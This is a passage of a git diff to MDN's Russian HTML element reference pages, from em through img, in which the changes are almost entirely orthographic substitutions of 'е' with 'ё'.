Web/HTML/Element/em <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -42,9 +42,9 @@ translation_of: Web/HTML/Element/em <h2 id="Примечания_по_использованию">Примечания по использованию</h2> -<p>Элемент <code><em></code> предназначен для слов, которые имеют подчеркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.</p> +<p>Элемент <code><em></code> предназначен для слов, которые имеют подчёркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.</p> -<p>Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространенные ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.</p> +<p>Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространённые ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.</p> <h3 id="<_i>_против_<em>">< i> против <em></h3> @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/em <p>Примером для <code><em></code> может быть: -«Просто <em>сделай</em> это!», или: «Мы <em>должны</em> были что-то с этим сделать». Человек или программа, читающие текст, будут произносить слова, выделенные курсивом, с ударением, используя словесное ударение.</p> -<p>Примером для <code><i></code> может быть: <em>«Королева Мэри</em> отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идет не о королеве по имени Мария, а о корабле по имени <em>Королева Мария</em>. Другим примером для <code><i></code> может быть: «Слово <em>‘the’ </em> это артикль».</p> +<p>Примером для <code><i></code> может быть: <em>«Королева Мэри</em> отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идёт не о королеве по имени Мария, а о корабле по имени <em>Королева Мария</em>. Другим примером для <code><i></code> может быть: «Слово <em>‘the’ </em> это артикль».</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html index 7fbe94c866..7069cf7d44 100644 --- a/files/ru/web/html/element/embed/index.html +++ b/files/ru/web/html/element/embed/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/embed <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>{{Note("Этот раздел посвящен только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}</p> +<p>{{Note("Этот раздел посвящён только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}</p> <p>Имейте ввиду, что большинство современных браузеров посчитали устаревшей и удалили поддержку встраивания плагинов, так что использование <code><embed></code>, как правило, не рекомендуется, если вы хотите, чтобы ваш сайт одинаково работал у всех его пользователей.</p> @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/embed <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, embedded content, interactive content, palpable content.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Отсутствует, это {{Glossary("empty element")}}.</td> </tr> <tr> @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/embed <td>Любой элемент, который допускает встроенный контент</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/embed <ul> <li>Другие элементы, используемые для встраивания различного рода контента: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li> - <li>Свойства, для позиционирования и определения размера внедренного контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li> + <li>Свойства, для позиционирования и определения размера внедрённого контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li> </ul> <p>{{ HTMLRef }}</p> diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html index 2d526b1275..f6cae1b5b4 100644 --- a/files/ru/web/html/element/fieldset/index.html +++ b/files/ru/web/html/element/fieldset/index.html @@ -54,9 +54,9 @@ translation_of: Web/HTML/Element/fieldset <p>{{ EmbedLiveSample('Простой_fieldset', '100%', '80') }}</p> -<h3 id="Отключенный_fieldset">Отключенный fieldset</h3> +<h3 id="Отключённый_fieldset">Отключённый fieldset</h3> -<p>Этот пример показывает отключенный <code><fieldset></code> с двумя элементами управления внутри.</p> +<p>Этот пример показывает отключённый <code><fieldset></code> с двумя элементами управления внутри.</p> <pre class="brush: html"><form action="#"> <fieldset disabled> @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/fieldset </fieldset> </form></pre> -<p>{{ EmbedLiveSample('Отключенный_fieldset', '100%', '110') }}</p> +<p>{{ EmbedLiveSample('Отключённый_fieldset', '100%', '110') }}</p> <h2 id="Техническая_сводка">Техническая сводка</h2> diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html index b452665035..4250d317af 100644 --- a/files/ru/web/html/element/figcaption/index.html +++ b/files/ru/web/html/element/figcaption/index.html @@ -79,7 +79,7 @@ translation_of: Web/HTML/Element/figcaption <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.figcaption")}}</p> diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html index 2842179eff..5a04e50384 100644 --- a/files/ru/web/html/element/figure/index.html +++ b/files/ru/web/html/element/figure/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/figure <h2 id="Примечания_по_использованию">Примечания по использованию</h2> <ul> - <li>Обычно <code><figure></code> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесен в другую часть документа или в приложение не нарушив основной поток.</li> + <li>Обычно <code><figure></code> это рисунок, иллюстрация, диаграмма, фрагмент кода, и т.д., на который ссылаются в основном потоке документа, но может быть перенесён в другую часть документа или в приложение не нарушив основной поток.</li> <li>Являясь <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прочие_модели_контента" title="Sections and Outlines of an HTML5 document#Sectioning root">секционным корнем</a>, структура содержимого элемента <code><figure></code> исключается из основной структуры документа.</li> <li>Подпись может быть связана с элементом <code><figure></code> с помощью вставки {{HTMLElement("figcaption")}} внутри него (как первый или последний потомок). Первый элемент <code><figcaption></code> в иллюстрации предоставляет её подпись (заголовок).</li> </ul> diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html index b3c1310ab8..62125859fc 100644 --- a/files/ru/web/html/element/font/index.html +++ b/files/ru/web/html/element/font/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/font <p> </p> -<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML больше не передает информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS. +<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML больше не передаёт информацию о стиле (вне элемента {{HTMLElement ("style")}} или атрибута style для каждого элемента). Для любой новой веб-разработки стили должны быть написаны только с использованием CSS. Предыдущее поведение элемента {{HTMLElement ("font")}} может быть достигнуто и даже лучше контролироваться с помощью CSS CSS-свойств шрифтов.</span></pre> @@ -38,7 +38,7 @@ translation_of: Web/HTML/Element/font </dd> <dt>{{htmlattrdef("face")}}</dt> <dd> - <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Этот атрибут содержит список разделенных запятыми одного или нескольких имен шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.</span></pre> + <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Этот атрибут содержит список разделённых запятыми одного или нескольких имён шрифтов. Текст документа в стиле по умолчанию отображается на первой грани шрифта, поддерживаемой браузером клиента. Если в локальной системе не указан шрифт, браузер обычно по умолчанию использует пропорциональный или фиксированный шрифт для этой системы.</span></pre> </dd> <dt>{{htmlattrdef("size")}}</dt> <dd> diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html index b27f1eeb6b..8d57357ab7 100644 --- a/files/ru/web/html/element/footer/index.html +++ b/files/ru/web/html/element/footer/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/footer <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th>Разрешенное содержимое</th> + <th>Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a>, кроме <code><footer></code> и {{HTMLElement("header")}}.</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/footer <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th>Разрешенные родительские элементы</th> + <th>Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><footer></code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("header")}} или другого элемента <code><footer></code>.</td> </tr> <tr> - <th>Разрешенные ARIA роли</th> + <th>Разрешённые ARIA роли</th> <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/footer <ul> <li>Заключите информацию об авторе в элемент {{HTMLElement("address")}}, который может быть добавлен в элемент <code><footer></code>.</li> - <li>Элемент <code><footer></code> не относится к секционному контенту, а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">структуре HTML-документа</a>.</li> + <li>Элемент <code><footer></code> не относится к секционному контенту, а значит не создаёт новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Разделы и структура документа HTML5">структуре HTML-документа</a>.</li> </ul> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html index 070dc37cc3..f826d9ed93 100644 --- a/files/ru/web/html/element/form/index.html +++ b/files/ru/web/html/element/form/index.html @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/form <dl> <dt>{{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}</dt> - <dd>Список типов содержимого, разделенных запятой, которые принимает сервер. + <dd>Список типов содержимого, разделённых запятой, которые принимает сервер. <div class="note"><strong>Примечание об использовании:</strong> Этот атрибут был удалён в HTML5 и его не следует больше использовать. Взамен, используйте <span class="st">{{htmlattrxref("accept", "input")}}</span> атрибут заданного {{HTMLElement("input")}} элемента.</div> </dd> <dt>{{htmlattrdef("accept-charset")}}</dt> - <dd>Разделенные пробелами <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">символьные кодировки</a>, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">ту же кодировку что и у страницы</a>.<br> + <dd>Разделённые пробелами <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">символьные кодировки</a>, которые принимает сервер. Браузер использует их в том порядке, в котором они перечислены. Значение по умолчанию означает <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">ту же кодировку что и у страницы</a>.<br> (В предыдущей версии HTML, различные кодировки могли быть разделены запятыми.)</dd> <dt>{{htmlattrdef("action")}}</dt> <dd>URI-адрес программы, которая обрабатывает информацию переданную через форму. Это значение может быть переписано с помощью атрибута {{htmlattrxref("formaction", "button")}} на {{HTMLElement("button")}} или {{HTMLElement("input")}} элементе.</dd> diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html index d3b60218c1..21fa32018b 100644 --- a/files/ru/web/html/element/head/index.html +++ b/files/ru/web/html/element/head/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/head <td>Отсутствуют.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td> <p>Если документ является документом {{HTMLElement("iframe")}} с атрибутом {{htmlattrxref("srcdoc", "iframe")}}, или если информация о заголовке доступна из протокола более высокого уровня (например, строки темы в электронном письме HTML), то ноль или более элементов содержащих метаданные.</p> @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/head <td>Элемент {{HTMLElement("html")}} (<code><head></code> является его первым дочерним элементом).</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/head <dl> <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt> - <dd>{{glossary("URI")}} одного или более профилей метаданных, разделенных пробелами.</dd> + <dd>{{glossary("URI")}} одного или более профилей метаданных, разделённых пробелами.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/head <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени)</td> + <td>Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени)</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}</td> diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html index b9a383cc64..9aca0b1967 100644 --- a/files/ru/web/html/element/header/index.html +++ b/files/ru/web/html/element/header/index.html @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/header <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, кроме <code><header></code> и {{HTMLElement("footer")}}</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/header <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><header></code> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("footer")}} или другого элемента <code><header></code>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/header <h2 id="Примечание">Примечание</h2> -<p>Элемент <code><header></code> не относится к секционному контенту , а значит не создает новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структуре HTML-документа</a>. При этом элемент <code><header></code> обычно должен содержать заголовок ближайшего раздела (элементы <code>h1</code>-<code>h6</code>), но это <strong>не</strong> обязательно.</p> +<p>Элемент <code><header></code> не относится к секционному контенту , а значит не создаёт новый раздел в <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структуре HTML-документа</a>. При этом элемент <code><header></code> обычно должен содержать заголовок ближайшего раздела (элементы <code>h1</code>-<code>h6</code>), но это <strong>не</strong> обязательно.</p> <h3 id="Историческое_употребление">Историческое употребление</h3> @@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/header <h2>Планета Земля</h2> <p>Опубликовано в среду, 4 октября 2017, Джейн Смит</p> </header> - <p>Мы живем на сине-зеленой планете, на которой до сих пор так много неизведанного.</p> + <p>Мы живём на сине-зелёной планете, на которой до сих пор так много неизведанного.</p> <p><a href="https://janesmith.com/the-planet-earth/">Продолжить чтение...</a></p> </article> </pre> diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html index 8917869d9f..9b7f70b0a6 100644 --- a/files/ru/web/html/element/heading_elements/index.html +++ b/files/ru/web/html/element/heading_elements/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/Heading_Elements <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, заголовок контента, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразированное содержание</a>.</td> </tr> <tr> @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/Heading_Elements <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любые элементы которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Содержание потока</a>; не используй как дочерний {{HTMLElement("hgroup")}} элемент, сейчас он устарел</td> </tr> <tr> - <th scope="row">Разрешенные роли ДМИП</th> + <th scope="row">Разрешённые роли ДМИП</th> <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td> </tr> <tr> @@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/Heading_Elements <h3 id="Содержание_раздела_маркировки">Содержание раздела маркировки</h3> -<p dir="ltr" id="tw-target-text">Другим распространенным методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.</p> +<p dir="ltr" id="tw-target-text">Другим распространённым методом навигации для пользователей программ чтения с экрана является создание списка содержимого секций и использование его для определения макета страницы.</p> <p dir="ltr" id="tw-target-text">Содержимое секционирования можно пометить, используя комбинацию <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> и {{htmlattrxref("id")}} атрибута, с ярлыком, кратко описывающим назначение раздела. Этот метод полезен в ситуациях, когда на одной странице имеется более одного элемента секционирования.</p> @@ -189,7 +189,7 @@ translation_of: Web/HTML/Element/Heading_Elements </footer> </pre> -<p dir="ltr" id="tw-target-text">В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придется расследовать каждый <code>nav</code> содержание элемента, чтобы определить их назначение.</p> +<p dir="ltr" id="tw-target-text">В этом примере технология чтения с экрана объявила бы, что есть два {{HTMLElement("nav")}} разделы, один называется «Основная навигация», а другой - «Нижний колонтитул». Если ярлыки не были предоставлены, человеку, использующему программное обеспечение для чтения с экрана, возможно, придётся расследовать каждый <code>nav</code> содержание элемента, чтобы определить их назначение.</p> <ul> <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Использование атрибута aria-labelledby</a></li> diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html index 029afcecdb..73d243817c 100644 --- a/files/ru/web/html/element/hgroup/index.html +++ b/files/ru/web/html/element/hgroup/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/hgroup <div></div> <div class="note"> -<p><strong>Примечание использования: </strong>Этот элемент был удален из HTML5 (W3C) спецификации , но до сих пор остается в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдет. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <code><hgroup></code> на практике реализована только теоретически. Спецификация HTML5 (W3C) дает совет как обозначать <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">подзаголовки, альтернативные заголовки и слоганы</a>.</p> +<p><strong>Примечание использования: </strong>Этот элемент был удалён из HTML5 (W3C) спецификации , но до сих пор остаётся в спецификации WHATWG. Он частично встроен в большинство браузеров, хотя бы поэтому вряд ли уйдёт. Поскольку схематический алгоритм не реализован ни в одном браузере, семантика тега <code><hgroup></code> на практике реализована только теоретически. Спецификация HTML5 (W3C) даёт совет как обозначать <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">подзаголовки, альтернативные заголовки и слоганы</a>.</p> </div> <p>HTML <hgroup> Элемент (HTML Headings Group Element - Элемент Группы Заголовков HTML) представляет заголовок раздела. Он определяет один заголовок, который участвует в схеме документа как заголовок явно или неявно заданного раздела, к которому он принадлежит.</p> diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html index 054c0923f2..708ea55022 100644 --- a/files/ru/web/html/element/hr/index.html +++ b/files/ru/web/html/element/hr/index.html @@ -52,15 +52,15 @@ translation_of: Web/HTML/Element/hr <dl> <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt> - <dd>Задает правило выравнивания.По умолчанию значение выставлено как<strong> left</strong></dd> + <dd>Задаёт правило выравнивания.По умолчанию значение выставлено как<strong> left</strong></dd> <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt> - <dd>Задает цвет линии</dd> + <dd>Задаёт цвет линии</dd> <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt> <dd>Sets the rule to have no shading.</dd> <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt> <dd>Устанавливает высоту в px</dd> <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt> - <dd>Задает длину линии в px либо в %</dd> + <dd>Задаёт длину линии в px либо в %</dd> </dl> <h2 id="Example">Example</h2> diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html index 7b1b856947..2787e89b66 100644 --- a/files/ru/web/html/element/html/index.html +++ b/files/ru/web/html/element/html/index.html @@ -22,7 +22,7 @@ translation_of: Web/HTML/Element/html <td>Отсутствуют.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Один элемент {{HTMLElement("head")}}, за которым следует один элемент {{HTMLElement("body")}}.</td> </tr> <tr> @@ -31,11 +31,11 @@ translation_of: Web/HTML/Element/html В {{glossary("HTML5")}} закрывающий тег может быть пропущен. В старых версиях HTML, если сразу за элементом <code><html></code> следует комментарий (при наличии элемента {{HTMLElement("body")}}), то закрывающий тег пропускать нельзя.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Отсутствуют. Это корневой элемент документа.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют.</td> </tr> <tr> @@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/html <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt> <dd>Определяет версию HTML DTD (Document Type Definition, больше известное как {{glossary("Doctype")}}), которая управляет текущим документом. Этот атрибут не нужен, потому что он является избыточным, так как есть информация, указываемая в объявлении типа документа.</dd> <dt>{{htmlattrdef("xmlns")}}</dt> - <dd>Определяет {{glossary("Namespace", "пространство имен")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию <code>"http://www.w3.org/1999/xhtml"</code>. Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов <code>text/html</code>.</dd> + <dd>Определяет {{glossary("Namespace", "пространство имён")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию <code>"http://www.w3.org/1999/xhtml"</code>. Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов <code>text/html</code>.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html index 86e976ef18..a8434854db 100644 --- a/files/ru/web/html/element/img/index.html +++ b/files/ru/web/html/element/img/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/img <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Приведенный выше пример показывает очень простое использование элемента <code><img></code>. Атрибут <code>src</code> обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут <code>alt</code> содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.</p> +<p>Приведённый выше пример показывает очень простое использование элемента <code><img></code>. Атрибут <code>src</code> обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут <code>alt</code> содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.</p> <p>Есть много других атрибутов, которые могут быть указаны для достижения различных целей, например:</p> @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/img <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>. Если элемент имеет атрибут <code>usemap</code>, он так же принадлежит к категории <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного контента</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Никакое, так как это {{Glossary("empty element", "пустой элемент")}}.</td> </tr> <tr> @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/img <td>Должен иметь открывающий тег и не должен иметь закрывающий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td> </tr> <tr> @@ -100,7 +100,7 @@ translation_of: Web/HTML/Element/img <dl> <dt>{{htmlattrdef("alt")}}</dt> <dd> - <p>Этим атрибутом задается альтернативное текстовое описание изображения.</p> + <p>Этим атрибутом задаётся альтернативное текстовое описание изображения.</p> <div class="note"> <p><strong>Заметка:</strong> Браузеры не всегда отображают изображение на которое ссылается элемент. Это относится к неграфическим браузерам (включая те, которые используются людьми с нарушениями зрения), если пользователь решает не отображать изображения, или если браузер не может отобразить изображение, потому что оно имеет неверный или <a href="#Supported_image_formats">неподдерживаемый тип</a>. В этих случаях браузер может заменить изображение текстом записанным в атрибуте <code>alt</code> элемента. По этим и другим причинам вы должны по возможности предоставлять полезное описание в атрибуте <code>alt</code>.</p> @@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/img </dd> <dt>{{htmlattrdef("crossorigin")}}</dt> <dd> - <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Изображения с включенной поддержкой CORS</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорченными</a>". Допустимые 